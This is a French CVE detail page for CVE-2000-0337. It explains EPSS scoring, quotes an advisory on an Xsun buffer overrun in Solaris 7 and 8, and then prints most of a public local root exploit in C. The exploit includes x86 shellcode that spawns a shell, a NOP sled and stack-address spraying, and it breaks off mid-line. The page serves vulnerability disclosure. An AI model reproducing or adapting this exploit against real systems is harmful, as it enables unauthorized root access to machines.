CVE-2000-0337 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/1140/info A buffer overrun vulnerability exists in the Xsun X11 server, as shipped as part of Solaris 7 and 8 from Sun Microsystems. By supplying a long argument to the -dev option (normally used to set the output device), it is possible to execute arbitrary code with setgid root permissions. This can be further leveraged to gain root privileges, resulting in machine compromise. /* * * Solaris 7 Xsun(suid) local overflow - PRIVATE for now! * Solaris 2.7/(2.6?) x86 sploit no sparc code, yet! * * Discovered/sploited By DiGiT - teddi@linux.is * * Greets: #!ADM, #!security.is */ #include <stdio.h> #include <stdlib.h> // Generic solaris x86 shellcode by cheeze wizz char shellcode[] = "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; long get_esp() { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char buff[5000]; int nopcount=2001, bsize=4000, offset=1850; int i; if (argc > 1) nopcount = atoi(argv[1]); if (argc > 2) bsize = atoi(argv[2]); if (argc > 3) offset = atoi(argv[3]); memset (buff, 0x90, bsize); for (i = nopcount; i < bsize - 4; i += 4) *(long *) &buff[i] = get_esp() + offset; memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen (shellcode)); memcpy (buff, ":", 1); printf("Oh boy.
